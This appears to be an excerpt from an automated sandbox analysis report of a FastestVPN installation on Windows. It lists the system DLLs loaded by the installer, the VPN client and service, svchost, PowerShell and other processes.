    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: windows.globalization.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: bcp47langs.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: bcp47mrm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: globinputhost.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: windows.ui.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: windowmanagementapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: inputhost.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: twinapi.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: twinapi.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: propsys.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: dwmapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: explorerframe.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: sfc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: sfc_os.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: linkinfo.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: ntshrui.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: srvcli.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: cscapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\System32\find.exeSection loaded: ulib.dllJump to behavior
    Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: spinf.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: newdev.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: cabinet.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: umpnpmgr.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cabinet.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cabinet.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: netsetupsvc.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: netsetupapi.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: netsetupengine.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: implatsetup.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: spinf.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: version.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dwrite.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msvcp140_clr0400.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dwmapi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3d9.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3d10warp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: windowscodecs.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wtsapi32.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: winsta.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dataexchange.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3d11.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dcomp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dxgi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: twinapi.appcore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: resourcepolicyclient.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dxcore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: textshaping.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: textinputframework.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: coreuicomponents.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: coremessaging.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: coremessaging.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msctfui.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: uiautomationcore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3dcompiler_47.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: winmm.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: riched20.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: usp10.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msls31.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cryptnet.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: winnsi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: winhttp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dhcpcsvc6.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dhcpcsvc.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: webio.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: fwpuclnt.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cabinet.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\find.exeSection loaded: ulib.dll
    Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dll
    Source: C:\Windows\System32\find.exeSection loaded: ulib.dll
    Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: ulib.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: ifsutil.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: devobj.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: fsutilext.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: ntmarta.dll
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeSection loaded: apphelp.dll
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeSection loaded: nfapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dll
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeSection loaded: nfapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: apphelp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: profapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dbghelp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dbgcore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
